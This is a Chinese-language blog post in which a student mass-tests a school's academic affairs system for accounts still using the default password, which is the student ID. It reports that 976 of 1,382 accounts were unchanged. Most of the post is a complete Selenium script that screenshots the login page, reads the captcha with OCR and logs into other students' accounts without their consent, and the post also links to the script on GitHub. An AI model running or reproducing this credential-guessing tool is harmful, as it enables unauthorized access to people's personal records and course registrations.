因為很久以前看了一篇別人對教務系統進行信息檢索的實例,我也想查看一下我們校區的教務系統到底有多安全。但是在實際寫腳本時候,卻遇到了很多問題,本篇博客也將是一篇技術總結。
一、前期准備
思路是一個一個學號的去試是否使用了默認密碼,我了解到16級的教務系統默認密碼是隨機碼,18級的教務系統默認密碼是身份證后六位,但偏偏只有我們17級的默認密碼就是學號,而且現在無法進行更改,所以我只針對17級進行檢索。
學號是從考試周的工作表得到的,最開始想的是自己構造,后來發現直接可以在專業群聊找到所有專業的考試安排表。
然后針對學號去重。腳本如下
1 import sys 2 3 vis = {} 4 5 def main(): 6 file_out = open("./data/xh.txt","w+") 7 with open("./data/xuehao.txt","r") as file_in: 8 for user in file_in.readlines(): 9 user = user.strip('\n') 10 if user not in vis: 11 vis[user] = 1 12 print(user,file=file_out) 13 file_out.close() 14 15 if __name__ == "__main__": 16 main() 17 else: 18 pass
然后就是開始針對教務系統的模擬登錄腳本編寫了。
二、腳本編寫以及運行
用fiddler掃了一篇網頁后,發現是POST傳遞參數
於是就想直接構造一個表單數據POST傳遞上去查看返回信息,但是遇到了一個問題,驗證碼,開始我想直接把驗證碼通過url爬下來,但是F12后發現,驗證碼的地址是臨時隨機產生的,如下圖
找了很多方法,還是沒有解決這個隨機驗證碼的問題。后來借鑒了一種可行的方法,利用selenium擴展庫的webdriver直接模擬登錄,然后每次截圖獲取到驗證碼,雖然效率比較低,但卻是一種可行方案。
解決方案如下,利用截圖獲取驗證碼圖片,然后再利用OCR識別驗證碼,識別出來可能有空格,所以replace就好了。
其他部分就比較好寫了,通過xpath獲得網頁元素模塊,然后直接枚舉即可。
三、信息分析
運行結果如下
一共測試了1382個學號,其中有976個都沒有更改密碼,但是教務系統中包含了大量的個人信息。
這是我的教務系統的個人主頁,若是不法分子惡意爬取這些信息將可能造成一些不好的后果。而且教務系統可以直接選課,退課,以及等等和學習有關的操作,其安全問題不可小覷。
當然本次信息檢索到此已經結束,只是針對是否改密進行檢索,得到結果后我也馬上整理發送給了校區趙校長。
四、總結
照成這么多人沒有改密的原因有一點是因為教務系統沒法隨時進行改密,包括一些18級,16級的同學也說無法改密,但是他們的密碼相對而言比較安全,但我們使用學號作為默認密碼實在是過於簡單。
經過幾次思考之后,還是決定把代碼整理並放出來,僅供參考學習。
編寫腳本遇到的一些問題大多都是環境沒有配置好的問題,也都得到解決。
腳本代碼如下:

1 import time 2 import pytesseract 3 from PIL import Image, ImageEnhance 4 from selenium import webdriver 5 from selenium.webdriver.common.by import By 6 7 url = "" 8 9 def work(user_data,pass_data): 10 # 1、打開瀏覽器,最大化瀏覽器 11 driver = webdriver.Firefox() 12 driver.get(url) 13 driver.implicitly_wait(40) 14 driver.maximize_window() 15 16 userElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[1]/td[2]/input") 17 passElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[2]/td[2]/input") 18 codeElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[3]/td[2]/input") 19 20 # 2、截取屏幕內容,保存到本地 21 driver.save_screenshot("./test/01.png") 22 23 # 3、打開截圖,獲取驗證碼位置,截取保存驗證碼 24 ran = Image.open("./test/01.png") 25 box = (829, 495, 928, 519) # 獲取驗證碼位置,代表(左,上,右,下) 26 ran.crop(box).save("./test/02.png") 27 28 # 4、獲取驗證碼圖片,讀取驗證碼 29 imageCode = Image.open("./test/02.png") 30 code = pytesseract.image_to_string(imageCode).strip().replace(" ","") 31 # 5、收到驗證碼,進行輸入驗證 32 33 userElement.send_keys(user_data) 34 passElement.send_keys(pass_data) 35 codeElement.send_keys(code) 36 click_login = driver.find_element(By.XPATH, "//*[@id=\"btnSure\"]") 37 click_login.click() 38 time.sleep(0.01) 39 40 try: 41 title_data = driver.title 42 if title_data.find('個人管理') != -1: 43 print(user_data,'success') 44 driver.close() 45 return 0 46 else: 47 error_data = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[1]/td/table/tbody/tr/td/table/tbody/tr[2]/td[2]/strong/font").text 48 if error_data.find('驗證碼錯誤') != -1: 49 driver.close() 50 return 1 51 elif error_data.find('密碼不正確') != -1: 52 print(user_data,'wrong') 53 driver.close() 54 return 2 55 elif error_data.find('證件號') != -1: 56 driver.close() 57 return 3 58 except Exception: 59 print(user_data,'abnormal') 60 driver.close() 61 return 1 62 63 def main(): 64 i = 1 65 sum = 0 66 ans = '' 67 file_out = open("./data/result.txt",'w+') 68 with open("./data/xh.txt",'r') as file_in: 69 for user in file_in.readlines(): 70 user = user.strip('\n') 71 password = user 72 print(i,end = ' ') 73 i += 1 74 ret = work(user,password) 75 while ret == 1: 76 ret = work(user,password) 77 if ret == 0: 78 sum += 1 79 ans = 'correct' 80 elif ret == 2: 81 ans = 'wrong' 82 elif ret == 3: 83 ans = 'Number is wrong' 84 print(user,ans,file=file_out) 85 print('Use the default password persons:',sum,file=file_out) 86 file_out.close() 87 88 89 if __name__ == "__main__": 90 main() 91 else: 92 pass
或者可以訪問GitHub獲取:https://github.com/X3NNY/URPscript
希望大家不要用來非法獲取信息